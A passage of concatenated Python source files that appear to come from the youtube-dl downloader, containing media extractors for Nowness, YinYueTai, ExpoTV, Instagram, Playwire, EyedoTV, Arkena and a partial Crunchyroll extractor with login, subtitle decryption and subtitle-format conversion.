    def _api_request(self, url, request_path):
        display_id = self._match_id(url)
        request = sanitized_Request(
            'http://api.nowness.com/api/' + request_path % display_id,
            headers={
                'X-Nowness-Language': 'zh-cn' if 'cn.nowness.com' in url else 'en-us',
            })
        return display_id, self._download_json(request, display_id)


class NownessIE(NownessBaseIE):
    IE_NAME = 'nowness'
    _VALID_URL = r'https?://(?:(?:www|cn)\.)?nowness\.com/(?:story|(?:series|category)/[^/]+)/(?P<id>[^/]+?)(?:$|[?#])'
    _TESTS = [{
        'url': 'https://www.nowness.com/story/candor-the-art-of-gesticulation',
        'md5': '068bc0202558c2e391924cb8cc470676',
        'info_dict': {
            'id': '2520295746001',
            'ext': 'mp4',
            'title': 'Candor: The Art of Gesticulation',
            'description': 'Candor: The Art of Gesticulation',
            'thumbnail': 're:^https?://.*\.jpg',
            'timestamp': 1446745676,
            'upload_date': '20151105',
            'uploader_id': '2385340575001',
        },
        'add_ie': ['BrightcoveNew'],
    }, {
        'url': 'https://cn.nowness.com/story/kasper-bjorke-ft-jaakko-eino-kalevi-tnr',
        'md5': 'e79cf125e387216f86b2e0a5b5c63aa3',
        'info_dict': {
            'id': '3716354522001',
            'ext': 'mp4',
            'title': 'Kasper Bjørke ft. Jaakko Eino Kalevi: TNR',
            'description': 'Kasper Bjørke ft. Jaakko Eino Kalevi: TNR',
            'thumbnail': 're:^https?://.*\.jpg',
            'timestamp': 1407315371,
            'upload_date': '20140806',
            'uploader_id': '2385340575001',
        },
        'add_ie': ['BrightcoveNew'],
    }, {
        # vimeo
        'url': 'https://www.nowness.com/series/nowness-picks/jean-luc-godard-supercut',
        'md5': '9a5a6a8edf806407e411296ab6bc2a49',
        'info_dict': {
            'id': '130020913',
            'ext': 'mp4',
            'title': 'Bleu, Blanc, Rouge - A Godard Supercut',
            'description': 'md5:f0ea5f1857dffca02dbd37875d742cec',
            'thumbnail': 're:^https?://.*\.jpg',
            'upload_date': '20150607',
            'uploader': 'Cinema Sem Lei',
            'uploader_id': 'cinemasemlei',
        },
        'add_ie': ['Vimeo'],
    }]

    def _real_extract(self, url):
        _, post = self._api_request(url, 'post/getBySlug/%s')
        return self._extract_url_result(post)


class NownessPlaylistIE(NownessBaseIE):
    IE_NAME = 'nowness:playlist'
    _VALID_URL = r'https?://(?:(?:www|cn)\.)?nowness\.com/playlist/(?P<id>\d+)'
    _TEST = {
        'url': 'https://www.nowness.com/playlist/3286/i-guess-thats-why-they-call-it-the-blues',
        'info_dict': {
            'id': '3286',
        },
        'playlist_mincount': 8,
    }

    def _real_extract(self, url):
        playlist_id, playlist = self._api_request(url, 'post?PlaylistId=%s')
        entries = [self._extract_url_result(item) for item in playlist['items']]
        return self.playlist_result(entries, playlist_id)


class NownessSeriesIE(NownessBaseIE):
    IE_NAME = 'nowness:series'
    _VALID_URL = r'https?://(?:(?:www|cn)\.)?nowness\.com/series/(?P<id>[^/]+?)(?:$|[?#])'
    _TEST = {
        'url': 'https://www.nowness.com/series/60-seconds',
        'info_dict': {
            'id': '60',
            'title': '60 Seconds',
            'description': 'One-minute wisdom in a new NOWNESS series',
        },
        'playlist_mincount': 4,
    }

    def _real_extract(self, url):
        display_id, series = self._api_request(url, 'series/getBySlug/%s')
        entries = [self._extract_url_result(post) for post in series['posts']]
        series_title = None
        series_description = None
        translations = series.get('translations', [])
        if translations:
            series_title = translations[0].get('title') or translations[0]['seoTitle']
            series_description = translations[0].get('seoDescription')
        return self.playlist_result(
            entries, compat_str(series['id']), series_title, series_description)






# coding: utf-8
from __future__ import unicode_literals

from .common import InfoExtractor
from ..utils import ExtractorError


class YinYueTaiIE(InfoExtractor):
    IE_NAME = 'yinyuetai:video'
    IE_DESC = '音悦Tai'
    _VALID_URL = r'https?://v\.yinyuetai\.com/video(?:/h5)?/(?P<id>[0-9]+)'
    _TESTS = [{
        'url': 'http://v.yinyuetai.com/video/2322376',
        'md5': '6e3abe28d38e3a54b591f9f040595ce0',
        'info_dict': {
            'id': '2322376',
            'ext': 'mp4',
            'title': '少女时代_PARTY_Music Video Teaser',
            'creator': '少女时代',
            'duration': 25,
            'thumbnail': 're:^https?://.*\.jpg$',
        },
    }, {
        'url': 'http://v.yinyuetai.com/video/h5/2322376',
        'only_matching': True,
    }]

    def _real_extract(self, url):
        video_id = self._match_id(url)

        info = self._download_json(
            'http://ext.yinyuetai.com/main/get-h-mv-info?json=true&videoId=%s' % video_id, video_id,
            'Downloading mv info')['videoInfo']['coreVideoInfo']

        if info['error']:
            raise ExtractorError(info['errorMsg'], expected=True)

        formats = [{
            'url': format_info['videoUrl'],
            'format_id': format_info['qualityLevel'],
            'format': format_info.get('qualityLevelName'),
            'filesize': format_info.get('fileSize'),
            # though URLs ends with .flv, the downloaded files are in fact mp4
            'ext': 'mp4',
            'tbr': format_info.get('bitrate'),
        } for format_info in info['videoUrlModels']]
        self._sort_formats(formats)

        return {
            'id': video_id,
            'title': info['videoName'],
            'thumbnail': info.get('bigHeadImage'),
            'creator': info.get('artistNames'),
            'duration': info.get('duration'),
            'formats': formats,
        }






from __future__ import unicode_literals

from .common import InfoExtractor
from ..utils import (
    int_or_none,
    unified_strdate,
)


class ExpoTVIE(InfoExtractor):
    _VALID_URL = r'https?://www\.expotv\.com/videos/[^?#]*/(?P<id>[0-9]+)($|[?#])'
    _TEST = {
        'url': 'http://www.expotv.com/videos/reviews/3/40/NYX-Butter-lipstick/667916',
        'md5': 'fe1d728c3a813ff78f595bc8b7a707a8',
        'info_dict': {
            'id': '667916',
            'ext': 'mp4',
            'title': 'NYX Butter Lipstick Little Susie',
            'description': 'Goes on like butter, but looks better!',
            'thumbnail': 're:^https?://.*\.jpg$',
            'uploader': 'Stephanie S.',
            'upload_date': '20150520',
            'view_count': int,
        }
    }

    def _real_extract(self, url):
        video_id = self._match_id(url)

        webpage = self._download_webpage(url, video_id)
        player_key = self._search_regex(
            r'<param name="playerKey" value="([^"]+)"', webpage, 'player key')
        config = self._download_json(
            'http://client.expotv.com/video/config/%s/%s' % (video_id, player_key),
            video_id, 'Downloading video configuration')

        formats = []
        for fcfg in config['sources']:
            media_url = fcfg.get('file')
            if not media_url:
                continue
            if fcfg.get('type') == 'm3u8':
                formats.extend(self._extract_m3u8_formats(
                    media_url, video_id, 'mp4', entry_protocol='m3u8_native', m3u8_id='hls'))
            else:
                formats.append({
                    'url': media_url,
                    'height': int_or_none(fcfg.get('height')),
                    'format_id': fcfg.get('label'),
                    'ext': self._search_regex(
                        r'filename=.*\.([a-z0-9_A-Z]+)&', media_url,
                        'file extension', default=None) or fcfg.get('type'),
                })
        self._sort_formats(formats)

        title = self._og_search_title(webpage)
        description = self._og_search_description(webpage)
        thumbnail = config.get('image')
        view_count = int_or_none(self._search_regex(
            r'<h5>Plays: ([0-9]+)</h5>', webpage, 'view counts'))
        uploader = self._search_regex(
            r'<div class="reviewer">\s*<img alt="([^"]+)"', webpage, 'uploader',
            fatal=False)
        upload_date = unified_strdate(self._search_regex(
            r'<h5>Reviewed on ([0-9/.]+)</h5>', webpage, 'upload date',
            fatal=False), day_first=False)

        return {
            'id': video_id,
            'formats': formats,
            'title': title,
            'description': description,
            'view_count': view_count,
            'thumbnail': thumbnail,
            'uploader': uploader,
            'upload_date': upload_date,
        }






from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..utils import (
    get_element_by_attribute,
    int_or_none,
    limit_length,
    lowercase_escape,
    try_get,
)


class InstagramIE(InfoExtractor):
    _VALID_URL = r'(?P<url>https?://(?:www\.)?instagram\.com/p/(?P<id>[^/?#&]+))'
    _TESTS = [{
        'url': 'https://instagram.com/p/aye83DjauH/?foo=bar#abc',
        'md5': '0d2da106a9d2631273e192b372806516',
        'info_dict': {
            'id': 'aye83DjauH',
            'ext': 'mp4',
            'title': 'Video by naomipq',
            'description': 'md5:1f17f0ab29bd6fe2bfad705f58de3cb8',
            'thumbnail': 're:^https?://.*\.jpg',
            'timestamp': 1371748545,
            'upload_date': '20130620',
            'uploader_id': 'naomipq',
            'uploader': 'Naomi Leonor Phan-Quang',
            'like_count': int,
            'comment_count': int,
        },
    }, {
        # missing description
        'url': 'https://www.instagram.com/p/BA-pQFBG8HZ/?taken-by=britneyspears',
        'info_dict': {
            'id': 'BA-pQFBG8HZ',
            'ext': 'mp4',
            'title': 'Video by britneyspears',
            'thumbnail': 're:^https?://.*\.jpg',
            'timestamp': 1453760977,
            'upload_date': '20160125',
            'uploader_id': 'britneyspears',
            'uploader': 'Britney Spears',
            'like_count': int,
            'comment_count': int,
        },
        'params': {
            'skip_download': True,
        },
    }, {
        'url': 'https://instagram.com/p/-Cmh1cukG2/',
        'only_matching': True,
    }, {
        'url': 'http://instagram.com/p/9o6LshA7zy/embed/',
        'only_matching': True,
    }]

    @staticmethod
    def _extract_embed_url(webpage):
        mobj = re.search(
            r'<iframe[^>]+src=(["\'])(?P<url>(?:https?:)?//(?:www\.)?instagram\.com/p/[^/]+/embed.*?)\1',
            webpage)
        if mobj:
            return mobj.group('url')

        blockquote_el = get_element_by_attribute(
            'class', 'instagram-media', webpage)
        if blockquote_el is None:
            return

        mobj = re.search(
            r'<a[^>]+href=([\'"])(?P<link>[^\'"]+)\1', blockquote_el)
        if mobj:
            return mobj.group('link')

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        video_id = mobj.group('id')
        url = mobj.group('url')

        webpage = self._download_webpage(url, video_id)

        (video_url, description, thumbnail, timestamp, uploader,
         uploader_id, like_count, comment_count) = [None] * 8

        shared_data = self._parse_json(
            self._search_regex(
                r'window\._sharedData\s*=\s*({.+?});',
                webpage, 'shared data', default='{}'),
            video_id, fatal=False)
        if shared_data:
            media = try_get(
                shared_data, lambda x: x['entry_data']['PostPage'][0]['media'], dict)
            if media:
                video_url = media.get('video_url')
                description = media.get('caption')
                thumbnail = media.get('display_src')
                timestamp = int_or_none(media.get('date'))
                uploader = media.get('owner', {}).get('full_name')
                uploader_id = media.get('owner', {}).get('username')
                like_count = int_or_none(media.get('likes', {}).get('count'))
                comment_count = int_or_none(media.get('comments', {}).get('count'))

        if not video_url:
            video_url = self._og_search_video_url(webpage, secure=False)

        if not uploader_id:
            uploader_id = self._search_regex(
                r'"owner"\s*:\s*{\s*"username"\s*:\s*"(.+?)"',
                webpage, 'uploader id', fatal=False)

        if not description:
            description = self._search_regex(
                r'"caption"\s*:\s*"(.+?)"', webpage, 'description', default=None)
            if description is not None:
                description = lowercase_escape(description)

        if not thumbnail:
            thumbnail = self._og_search_thumbnail(webpage)

        return {
            'id': video_id,
            'url': video_url,
            'ext': 'mp4',
            'title': 'Video by %s' % uploader_id,
            'description': description,
            'thumbnail': thumbnail,
            'timestamp': timestamp,
            'uploader_id': uploader_id,
            'uploader': uploader,
            'like_count': like_count,
            'comment_count': comment_count,
        }


class InstagramUserIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?instagram\.com/(?P<username>[^/]{2,})/?(?:$|[?#])'
    IE_DESC = 'Instagram user profile'
    IE_NAME = 'instagram:user'
    _TEST = {
        'url': 'https://instagram.com/porsche',
        'info_dict': {
            'id': 'porsche',
            'title': 'porsche',
        },
        'playlist_mincount': 2,
        'playlist': [{
            'info_dict': {
                'id': '614605558512799803_462752227',
                'ext': 'mp4',
                'title': '#Porsche Intelligent Performance.',
                'thumbnail': 're:^https?://.*\.jpg',
                'uploader': 'Porsche',
                'uploader_id': 'porsche',
                'timestamp': 1387486713,
                'upload_date': '20131219',
            },
        }],
        'params': {
            'extract_flat': True,
            'skip_download': True,
        }
    }

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        uploader_id = mobj.group('username')

        entries = []
        page_count = 0
        media_url = 'http://instagram.com/%s/media' % uploader_id
        while True:
            page = self._download_json(
                media_url, uploader_id,
                note='Downloading page %d ' % (page_count + 1),
            )
            page_count += 1

            for it in page['items']:
                if it.get('type') != 'video':
                    continue
                like_count = int_or_none(it.get('likes', {}).get('count'))
                user = it.get('user', {})

                formats = [{
                    'format_id': k,
                    'height': v.get('height'),
                    'width': v.get('width'),
                    'url': v['url'],
                } for k, v in it['videos'].items()]
                self._sort_formats(formats)

                thumbnails_el = it.get('images', {})
                thumbnail = thumbnails_el.get('thumbnail', {}).get('url')

                # In some cases caption is null, which corresponds to None
                # in python. As a result, it.get('caption', {}) gives None
                title = (it.get('caption') or {}).get('text', it['id'])

                entries.append({
                    'id': it['id'],
                    'title': limit_length(title, 80),
                    'formats': formats,
                    'thumbnail': thumbnail,
                    'webpage_url': it.get('link'),
                    'uploader': user.get('full_name'),
                    'uploader_id': user.get('username'),
                    'like_count': like_count,
                    'timestamp': int_or_none(it.get('created_time')),
                })

            if not page['items']:
                break
            max_id = page['items'][-1]['id'].split('_')[0]
            media_url = (
                'http://instagram.com/%s/media?max_id=%s' % (
                    uploader_id, max_id))

        return {
            '_type': 'playlist',
            'entries': entries,
            'id': uploader_id,
            'title': uploader_id,
        }






from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..utils import (
    dict_get,
    float_or_none,
)


class PlaywireIE(InfoExtractor):
    _VALID_URL = r'https?://(?:config|cdn)\.playwire\.com(?:/v2)?/(?P<publisher_id>\d+)/(?:videos/v2|embed|config)/(?P<id>\d+)'
    _TESTS = [{
        'url': 'http://config.playwire.com/14907/videos/v2/3353705/player.json',
        'md5': 'e6398701e3595888125729eaa2329ed9',
        'info_dict': {
            'id': '3353705',
            'ext': 'mp4',
            'title': 'S04_RM_UCL_Rus',
            'thumbnail': 're:^https?://.*\.png$',
            'duration': 145.94,
        },
    }, {
        # m3u8 in f4m
        'url': 'http://config.playwire.com/21772/videos/v2/4840492/zeus.json',
        'info_dict': {
            'id': '4840492',
            'ext': 'mp4',
            'title': 'ITV EL SHOW FULL',
        },
        'params': {
            # m3u8 download
            'skip_download': True,
        },
    }, {
        # Multiple resolutions while bitrates missing
        'url': 'http://cdn.playwire.com/11625/embed/85228.html',
        'only_matching': True,
    }, {
        'url': 'http://config.playwire.com/12421/videos/v2/3389892/zeus.json',
        'only_matching': True,
    }, {
        'url': 'http://cdn.playwire.com/v2/12342/config/1532636.json',
        'only_matching': True,
    }]

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        publisher_id, video_id = mobj.group('publisher_id'), mobj.group('id')

        player = self._download_json(
            'http://config.playwire.com/%s/videos/v2/%s/zeus.json' % (publisher_id, video_id),
            video_id)

        title = player['settings']['title']
        duration = float_or_none(player.get('duration'), 1000)

        content = player['content']
        thumbnail = content.get('poster')
        src = content['media']['f4m']

        formats = self._extract_f4m_formats(src, video_id, m3u8_id='hls')
        for a_format in formats:
            if not dict_get(a_format, ['tbr', 'width', 'height']):
                a_format['quality'] = 1 if '-hd.' in a_format['url'] else 0
        self._sort_formats(formats)

        return {
            'id': video_id,
            'title': title,
            'thumbnail': thumbnail,
            'duration': duration,
            'formats': formats,
        }






# coding: utf-8
from __future__ import unicode_literals

from .common import InfoExtractor
from ..utils import (
    xpath_text,
    parse_duration,
    ExtractorError,
)


class EyedoTVIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?eyedo\.tv/[^/]+/(?:#!/)?Live/Detail/(?P<id>[0-9]+)'
    _TEST = {
        'url': 'https://www.eyedo.tv/en-US/#!/Live/Detail/16301',
        'md5': 'ba14f17995cdfc20c36ba40e21bf73f7',
        'info_dict': {
            'id': '16301',
            'ext': 'mp4',
            'title': 'Journée du conseil scientifique de l\'Afnic 2015',
            'description': 'md5:4abe07293b2f73efc6e1c37028d58c98',
            'uploader': 'Afnic Live',
            'uploader_id': '8023',
        }
    }
    _ROOT_URL = 'http://live.eyedo.net:1935/'

    def _real_extract(self, url):
        video_id = self._match_id(url)
        video_data = self._download_xml('http://eyedo.tv/api/live/GetLive/%s' % video_id, video_id)

        def _add_ns(path):
            return self._xpath_ns(path, 'http://schemas.datacontract.org/2004/07/EyeDo.Core.Implementation.Web.ViewModels.Api')

        title = xpath_text(video_data, _add_ns('Titre'), 'title', True)
        state_live_code = xpath_text(video_data, _add_ns('StateLiveCode'), 'title', True)
        if state_live_code == 'avenir':
            raise ExtractorError(
                '%s said: We\'re sorry, but this video is not yet available.' % self.IE_NAME,
                expected=True)

        is_live = state_live_code == 'live'
        m3u8_url = None
        # http://eyedo.tv/Content/Html5/Scripts/html5view.js
        if is_live:
            if xpath_text(video_data, 'Cdn') == 'true':
                m3u8_url = 'http://rrr.sz.xlcdn.com/?account=eyedo&file=A%s&type=live&service=wowza&protocol=http&output=playlist.m3u8' % video_id
            else:
                m3u8_url = self._ROOT_URL + 'w/%s/eyedo_720p/playlist.m3u8' % video_id
        else:
            m3u8_url = self._ROOT_URL + 'replay-w/%s/mp4:%s.mp4/playlist.m3u8' % (video_id, video_id)

        return {
            'id': video_id,
            'title': title,
            'formats': self._extract_m3u8_formats(
                m3u8_url, video_id, 'mp4', 'm3u8' if is_live else 'm3u8_native'),
            'description': xpath_text(video_data, _add_ns('Description')),
            'duration': parse_duration(xpath_text(video_data, _add_ns('Duration'))),
            'uploader': xpath_text(video_data, _add_ns('Createur')),
            'uploader_id': xpath_text(video_data, _add_ns('CreateurId')),
            'chapter': xpath_text(video_data, _add_ns('ChapitreTitre')),
            'chapter_id': xpath_text(video_data, _add_ns('ChapitreId')),
        }






# coding: utf-8
from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..utils import (
    determine_ext,
    float_or_none,
    int_or_none,
    mimetype2ext,
    parse_iso8601,
    strip_jsonp,
)


class ArkenaIE(InfoExtractor):
    _VALID_URL = r'https?://play\.arkena\.com/(?:config|embed)/avp/v\d/player/media/(?P<id>[^/]+)/[^/]+/(?P<account_id>\d+)'
    _TESTS = [{
        'url': 'https://play.arkena.com/embed/avp/v2/player/media/b41dda37-d8e7-4d3f-b1b5-9a9db578bdfe/1/129411',
        'md5': 'b96f2f71b359a8ecd05ce4e1daa72365',
        'info_dict': {
            'id': 'b41dda37-d8e7-4d3f-b1b5-9a9db578bdfe',
            'ext': 'mp4',
            'title': 'Big Buck Bunny',
            'description': 'Royalty free test video',
            'timestamp': 1432816365,
            'upload_date': '20150528',
            'is_live': False,
        },
    }, {
        'url': 'https://play.arkena.com/config/avp/v2/player/media/b41dda37-d8e7-4d3f-b1b5-9a9db578bdfe/1/129411/?callbackMethod=jQuery1111023664739129262213_1469227693893',
        'only_matching': True,
    }, {
        'url': 'http://play.arkena.com/config/avp/v1/player/media/327336/darkmatter/131064/?callbackMethod=jQuery1111002221189684892677_1469227595972',
        'only_matching': True,
    }, {
        'url': 'http://play.arkena.com/embed/avp/v1/player/media/327336/darkmatter/131064/',
        'only_matching': True,
    }]

    @staticmethod
    def _extract_url(webpage):
        # See https://support.arkena.com/display/PLAY/Ways+to+embed+your+video
        mobj = re.search(
            r'<iframe[^>]+src=(["\'])(?P<url>(?:https?:)?//play\.arkena\.com/embed/avp/.+?)\1',
            webpage)
        if mobj:
            return mobj.group('url')

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        video_id = mobj.group('id')
        account_id = mobj.group('account_id')

        playlist = self._download_json(
            'https://play.arkena.com/config/avp/v2/player/media/%s/0/%s/?callbackMethod=_'
            % (video_id, account_id),
            video_id, transform_source=strip_jsonp)['Playlist'][0]

        media_info = playlist['MediaInfo']
        title = media_info['Title']
        media_files = playlist['MediaFiles']

        is_live = False
        formats = []
        for kind_case, kind_formats in media_files.items():
            kind = kind_case.lower()
            for f in kind_formats:
                f_url = f.get('Url')
                if not f_url:
                    continue
                is_live = f.get('Live') == 'true'
                exts = (mimetype2ext(f.get('Type')), determine_ext(f_url, None))
                if kind == 'm3u8' or 'm3u8' in exts:
                    formats.extend(self._extract_m3u8_formats(
                        f_url, video_id, 'mp4',
                        entry_protocol='m3u8' if is_live else 'm3u8_native',
                        m3u8_id=kind, fatal=False, live=is_live))
                elif kind == 'flash' or 'f4m' in exts:
                    formats.extend(self._extract_f4m_formats(
                        f_url, video_id, f4m_id=kind, fatal=False))
                elif kind == 'dash' or 'mpd' in exts:
                    formats.extend(self._extract_mpd_formats(
                        f_url, video_id, mpd_id=kind, fatal=False))
                elif kind == 'silverlight':
                    # TODO: process when ism is supported (see
                    # https://github.com/rg3/youtube-dl/issues/8118)
                    continue
                else:
                    tbr = float_or_none(f.get('Bitrate'), 1000)
                    formats.append({
                        'url': f_url,
                        'format_id': '%s-%d' % (kind, tbr) if tbr else kind,
                        'tbr': tbr,
                    })
        self._sort_formats(formats)

        description = media_info.get('Description')
        video_id = media_info.get('VideoId') or video_id
        timestamp = parse_iso8601(media_info.get('PublishDate'))
        thumbnails = [{
            'url': thumbnail['Url'],
            'width': int_or_none(thumbnail.get('Size')),
        } for thumbnail in (media_info.get('Poster') or []) if thumbnail.get('Url')]

        return {
            'id': video_id,
            'title': title,
            'description': description,
            'timestamp': timestamp,
            'is_live': is_live,
            'thumbnails': thumbnails,
            'formats': formats,
        }






# encoding: utf-8
from __future__ import unicode_literals

import re
import json
import base64
import zlib

from hashlib import sha1
from math import pow, sqrt, floor
from .common import InfoExtractor
from ..compat import (
    compat_etree_fromstring,
    compat_urllib_parse_urlencode,
    compat_urllib_request,
    compat_urlparse,
)
from ..utils import (
    ExtractorError,
    bytes_to_intlist,
    intlist_to_bytes,
    int_or_none,
    lowercase_escape,
    remove_end,
    sanitized_Request,
    unified_strdate,
    urlencode_postdata,
    xpath_text,
    extract_attributes,
)
from ..aes import (
    aes_cbc_decrypt,
)


class CrunchyrollBaseIE(InfoExtractor):
    _NETRC_MACHINE = 'crunchyroll'

    def _login(self):
        (username, password) = self._get_login_info()
        if username is None:
            return
        self.report_login()
        login_url = 'https://www.crunchyroll.com/?a=formhandler'
        data = urlencode_postdata({
            'formname': 'RpcApiUser_Login',
            'name': username,
            'password': password,
        })
        login_request = sanitized_Request(login_url, data)
        login_request.add_header('Content-Type', 'application/x-www-form-urlencoded')
        self._download_webpage(login_request, None, False, 'Wrong login info')

    def _real_initialize(self):
        self._login()

    def _download_webpage(self, url_or_request, *args, **kwargs):
        request = (url_or_request if isinstance(url_or_request, compat_urllib_request.Request)
                   else sanitized_Request(url_or_request))
        # Accept-Language must be set explicitly to accept any language to avoid issues
        # similar to https://github.com/rg3/youtube-dl/issues/6797.
        # Along with IP address Crunchyroll uses Accept-Language to guess whether georestriction
        # should be imposed or not (from what I can see it just takes the first language
        # ignoring the priority and requires it to correspond the IP). By the way this causes
        # Crunchyroll to not work in georestriction cases in some browsers that don't place
        # the locale lang first in header. However allowing any language seems to workaround the issue.
        request.add_header('Accept-Language', '*')
        return super(CrunchyrollBaseIE, self)._download_webpage(request, *args, **kwargs)

    @staticmethod
    def _add_skip_wall(url):
        parsed_url = compat_urlparse.urlparse(url)
        qs = compat_urlparse.parse_qs(parsed_url.query)
        # Always force skip_wall to bypass maturity wall, namely 18+ confirmation message:
        # > This content may be inappropriate for some people.
        # > Are you sure you want to continue?
        # since it's not disabled by default in crunchyroll account's settings.
        # See https://github.com/rg3/youtube-dl/issues/7202.
        qs['skip_wall'] = ['1']
        return compat_urlparse.urlunparse(
            parsed_url._replace(query=compat_urllib_parse_urlencode(qs, True)))


class CrunchyrollIE(CrunchyrollBaseIE):
    _VALID_URL = r'https?://(?:(?P<prefix>www|m)\.)?(?P<url>crunchyroll\.(?:com|fr)/(?:media(?:-|/\?id=)|[^/]*/[^/?&]*?)(?P<video_id>[0-9]+))(?:[/?&]|$)'
    _TESTS = [{
        'url': 'http://www.crunchyroll.com/wanna-be-the-strongest-in-the-world/episode-1-an-idol-wrestler-is-born-645513',
        'info_dict': {
            'id': '645513',
            'ext': 'flv',
            'title': 'Wanna be the Strongest in the World Episode 1 – An Idol-Wrestler is Born!',
            'description': 'md5:2d17137920c64f2f49981a7797d275ef',
            'thumbnail': 'http://img1.ak.crunchyroll.com/i/spire1-tmb/20c6b5e10f1a47b10516877d3c039cae1380951166_full.jpg',
            'uploader': 'Yomiuri Telecasting Corporation (YTV)',
            'upload_date': '20131013',
            'url': 're:(?!.*&amp)',
        },
        'params': {
            # rtmp
            'skip_download': True,
        },
    }, {
        'url': 'http://www.crunchyroll.com/media-589804/culture-japan-1',
        'info_dict': {
            'id': '589804',
            'ext': 'flv',
            'title': 'Culture Japan Episode 1 – Rebuilding Japan after the 3.11',
            'description': 'md5:2fbc01f90b87e8e9137296f37b461c12',
            'thumbnail': 're:^https?://.*\.jpg$',
            'uploader': 'Danny Choo Network',
            'upload_date': '20120213',
        },
        'params': {
            # rtmp
            'skip_download': True,
        },
    }, {
        'url': 'http://www.crunchyroll.com/rezero-starting-life-in-another-world-/episode-5-the-morning-of-our-promise-is-still-distant-702409',
        'info_dict': {
            'id': '702409',
            'ext': 'mp4',
            'title': 'Re:ZERO -Starting Life in Another World- Episode 5 – The Morning of Our Promise Is Still Distant',
            'description': 'md5:97664de1ab24bbf77a9c01918cb7dca9',
            'thumbnail': 're:^https?://.*\.jpg$',
            'uploader': 'TV TOKYO',
            'upload_date': '20160508',
        },
        'params': {
            # m3u8 download
            'skip_download': True,
        },
    }, {
        'url': 'http://www.crunchyroll.fr/girl-friend-beta/episode-11-goodbye-la-mode-661697',
        'only_matching': True,
    }, {
        # geo-restricted (US), 18+ maturity wall, non-premium available
        'url': 'http://www.crunchyroll.com/cosplay-complex-ova/episode-1-the-birth-of-the-cosplay-club-565617',
        'only_matching': True,
    }]

    _FORMAT_IDS = {
        '360': ('60', '106'),
        '480': ('61', '106'),
        '720': ('62', '106'),
        '1080': ('80', '108'),
    }

    def _decrypt_subtitles(self, data, iv, id):
        data = bytes_to_intlist(base64.b64decode(data.encode('utf-8')))
        iv = bytes_to_intlist(base64.b64decode(iv.encode('utf-8')))
        id = int(id)

        def obfuscate_key_aux(count, modulo, start):
            output = list(start)
            for _ in range(count):
                output.append(output[-1] + output[-2])
            # cut off start values
            output = output[2:]
            output = list(map(lambda x: x % modulo + 33, output))
            return output

        def obfuscate_key(key):
            num1 = int(floor(pow(2, 25) * sqrt(6.9)))
            num2 = (num1 ^ key) << 5
            num3 = key ^ num1
            num4 = num3 ^ (num3 >> 3) ^ num2
            prefix = intlist_to_bytes(obfuscate_key_aux(20, 97, (1, 2)))
            shaHash = bytes_to_intlist(sha1(prefix + str(num4).encode('ascii')).digest())
            # Extend 160 Bit hash to 256 Bit
            return shaHash + [0] * 12

        key = obfuscate_key(id)

        decrypted_data = intlist_to_bytes(aes_cbc_decrypt(data, key, iv))
        return zlib.decompress(decrypted_data)

    def _convert_subtitles_to_srt(self, sub_root):
        output = ''

        for i, event in enumerate(sub_root.findall('./events/event'), 1):
            start = event.attrib['start'].replace('.', ',')
            end = event.attrib['end'].replace('.', ',')
            text = event.attrib['text'].replace('\\N', '\n')
            output += '%d\n%s --> %s\n%s\n\n' % (i, start, end, text)
        return output

    def _convert_subtitles_to_ass(self, sub_root):
        output = ''

        def ass_bool(strvalue):
            assvalue = '0'
            if strvalue == '1':
                assvalue = '-1'
            return assvalue

        output = '[Script Info]\n'
        output += 'Title: %s\n' % sub_root.attrib['title']
        output += 'ScriptType: v4.00+\n'
        output += 'WrapStyle: %s\n' % sub_root.attrib['wrap_style']
        output += 'PlayResX: %s\n' % sub_root.attrib['play_res_x']
        output += 'PlayResY: %s\n' % sub_root.attrib['play_res_y']
        output += """ScaledBorderAndShadow: yes

[V4+ Styles]
Format: Name, Fontname, Fontsize, PrimaryColour, SecondaryColour, OutlineColour, BackColour, Bold, Italic, Underline, StrikeOut, ScaleX, ScaleY, Spacing, Angle, BorderStyle, Outline, Shadow, Alignment, MarginL, MarginR, MarginV, Encoding
"""
        for style in sub_root.findall('./styles/style'):
            output += 'Style: ' + style.attrib['name']
            output += ',' + style.attrib['font_name']
            output += ',' + style.attrib['font_size']
            output += ',' + style.attrib['primary_colour']
            output += ',' + style.attrib['secondary_colour']
            output += ',' + style.attrib['outline_colour']
            output += ',' + style.attrib['back_colour']
            output += ',' + ass_bool(style.attrib['bold'])
            output += ',' + ass_bool(style.attrib['italic'])
            output += ',' + ass_bool(style.attrib['underline'])
            output += ',' + ass_bool(style.attrib['strikeout'])
            output += ',' + style.attrib['scale_x']
            output += ',' + style.attrib['scale_y']
            output += ',' + style.attrib['spacing']
            output += ',' + style.attrib['angle']
            output += ',' + style.attrib['border_style']
            output += ',' + style.attrib['outline']
            output += ',' + style.attrib['shadow']
            output += ',' + style.attrib['alignment']
            output += ',' + style.attrib['margin_l']
            output += ',' + style.attrib['margin_r']
            output += ',' + style.attrib['margin_v']
            output += ',' + style.attrib['encoding']
            output += '\n'

        output += """
[Events]
Format: Layer, Start, End, Style, Name, MarginL, MarginR, MarginV, Effect, Text
"""
        for event in sub_root.findall('./events/event'):
            output += 'Dialogue: 0'
            output += ',' + event.attrib['start']
            output += ',' + event.attrib['end']
            output += ',' + event.attrib['style']
            output += ',' + event.attrib['name']
            output += ',' + event.attrib['margin_l']
            output += ',' + event.attrib['margin_r']
            output += ',' + event.attrib['margin_v']
            output += ',' + event.attrib['effect']
            output += ',' + event.attrib['text']
            output += '\n'

        return output

    def _extract_subtitles(self, subtitle):
        sub_root = compat_etree_fromstring(subtitle)
        return [{
            'ext': 'srt',
            'data': self._convert_subtitles_to_srt(sub_root),
        }, {
            'ext': 'ass',
            'data': self._convert_subtitles_to_ass(sub_root),
        }]

    def _get_subtitles(self, video_id, webpage):
        subtitles = {}
        for sub_id, sub_name in re.findall(r'\bssid=([0-9]+)"[^>]+?\btitle="([^"]+)', webpage):
            sub_page = self._download_webpage(
                'http://www.crunchyroll.com/xml/?req=RpcApiSubtitle_GetXml&subtitle_script_id=' + sub_id,
                video_id, note='Downloading subtitles for ' + sub_name)
            id = self._search_regex(r'id=\'([0-9]+)', sub_page, 'subtitle_id', fatal=False)
